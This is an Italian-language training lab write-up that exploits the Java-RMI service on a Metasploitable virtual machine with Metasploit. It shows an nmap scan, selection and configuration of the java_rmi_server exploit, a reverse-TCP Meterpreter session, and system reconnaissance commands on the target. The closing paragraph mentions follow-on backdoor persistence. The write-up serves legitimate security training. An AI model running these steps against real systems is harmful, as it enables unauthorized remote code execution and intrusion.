

## S7L5 LUCA DANELLI

Nell'esercizio di oggi andremo a sfruttare la vulnerabilità **Java-RMI** presente sulla macchina Metasploitable del nostro laboratorio. Questa vulnerabilità, in cui RMI sta per Remote Method Invocation, sfrutta una funzionalità di Java che permette ai sistemi montanti JVM, ossia Java Virtual Machine, di eseguire codice remoto. Ad esempio sfruttando la remote method invocation un'applicazione Java situata sulla macchina A potrebbe chiamare un metodo su un oggetto remoto presente nel codice della macchina B situata su un'altra rete. Questa vulnerabilità potrebbe essere sfruttata in più modi:

- Potrebbe essere eseguito del codice da un utente remoto non autorizzato (RCE – Remote code Execution)
- Se le comunicazioni RMI non vengono cifrate, il traffico potrebbe venire intercettato, rendendo l'applicazione vulnerabile ad attacchi di tipo MITM (Man in the Middle)
- L'applicazione potrebbe venire sovraccaricata da numerose richieste non valide da un attaccante remoto, utilizzando quindi un attacco di tipo DOS (Denial of Service)

Nel nostro caso, servendoci del framework open source **Metasploit**, sfrutteremo la prima casistica, andando ad iniettare un payload contenente un blocco di codice che servirà a creare una shell meterpreter sulla macchina target. Per prima cosa però, andiamo a scansionare la macchina vittima in modo da assicurarci che sia in ascolto sulla porta 1099, che è quella utilizzata dal servizio Java-RMI:

```
(luca@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 10:46 CET
Nmap scan report for 192.168.1.149
Host is up (0.0023s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd (Admin email admin@Metasploitable.LAN)
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Tramite il tool **nmap** abbiamo confermato che il servizio è correttamente in ascolto. Avviamo quindi il framework di Metasploit con il comando **msfconsole** e cerchiamo quali exploit sono disponibili per lanciare un attacco tramite il comando **search java\_rmi**:

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal   No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Cod
e Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal   No      Java RMI Server Insecure Endpoint Code Execution Scanne
r
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMIConnectionImpl Deserialization Privilege Escala
tion

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
```

Scegliamo l'exploit corrispondente alla riga 1, in quanto la descrizione conferma che è usato per eseguire codice su una macchina remota. Abbiamo usato il comando **use 1** per scegliere questo exploit. Notiamo che in automatico viene settato il payload **java/meterpreter/reverse\_tcp**. Lanciamo l'attacco con il payload di default, ma eventualmente avremmo potuto selezionarne un altro con il comando **set payload percorso\_payload**. Una volta scelto abbiamo settato con il comando **set rhosts 192.168.1.149** l'ip della macchina remota che andremo ad attaccare. Successivamente, tramite il comando **show options**, controlliamo se sono necessari altri parametri per l'esecuzione di questo exploit:

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL        false           no        Negotiate SSL for incoming connections
SSLCert   false           no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   false           no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.1.212   yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.1.212:4444
[*] 192.168.1.149:1099 - Using URL: http://192.168.1.212:8080/o6AMTdgxubm
[*] 192.168.1.149:1099 - Server started.
[*] 192.168.1.149:1099 - Sending RMI Header ...
[*] 192.168.1.149:1099 - Sending RMI Call ...
[*] 192.168.1.149:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.212:4444 -> 192.168.1.149:38783) at 2023-11-10 09:18:14 +0100
```

Come da immagine sopra vediamo che tutti i parametri obbligatori, ossia quelli contenenti la stringa **yes** nella colonna **Required** sono correttamente presenti e configurati. Possiamo quindi lanciare l'attacco usando il comando **run** o in alternativa **exploit**. Una volta fatto, in ultima riga Metasploit ci informa che una sessione di Meterpreter, che è un tipo di shell da cui possiamo lanciare comandi che verranno eseguiti sulla macchina target, è stata correttamente aperta. E' da notare che abbiamo usato un payload di tipo **reverse\_tcp**, quindi la connessione è stata creata dalla macchina vittima verso la macchina attaccante. Questo è importante perché in una situazione reale, verosimilmente la macchina vittima sarà protetta da un firewall di tipo dinamico, che permette solo le connessioni

originate dall'interno della rete a meno di configurazioni ad hoc. Usare quindi una connessione di tipo reverse aumenterebbe quindi che le probabilità di un attacco vadano a buon fine. Di seguito un'immagine con le informazioni recuperate sulla macchina vittima come indirizzo ip, rotte configurate e info di sistema, assieme ai relativi comandi di meterpreter:

```
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.1.212:4444
[*] 192.168.1.149:1099 - Using URL: http://192.168.1.212:8080/o6AMTdgxubm
[*] 192.168.1.149:1099 - Server started.
[*] 192.168.1.149:1099 - Sending RMI Header...
[*] 192.168.1.149:1099 - Sending RMI Call...
[*] 192.168.1.149:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.212:4444 → 192.168.1.149:38783) at 2023-11-10 09:18:14 +0100

meterpreter > ifconfig

Interface 1
=====
Name           : lo - lo
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ::

Interface 2
=====
Name           : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.1.149
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : 2001:b07:aac:7465:a00:27ff:fe72:f63c
IPv6 Netmask   : ::
IPv6 Address   : fe80::a00:27ff:fe72:f63c
IPv6 Netmask   : ::

meterpreter > route

IPv4 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.1.149	255.255.255.0	0.0.0.0		

```


IPv6 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
2001:b07:aac:7465:a00:27ff:fe72:f63c	::	::		
fe80::a00:27ff:fe72:f63c	::	::		

```

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

Ai fini dell'esercizio possiamo fermarci qui. E' da notare che in una situazione reale un eventuale attaccante avrebbe potuto sfruttare i comandi o gli script presenti su meterpreter per migrare il proprio accesso su un servizio nativo di sistema e caricare un codice per ottenere una backdoor sempre disponibile (non legata quindi all'esecuzione o meno di Java sul sistema) con accesso amministrativo, oltre a recuperare tutte le informazioni sensibili dal sistema stesso.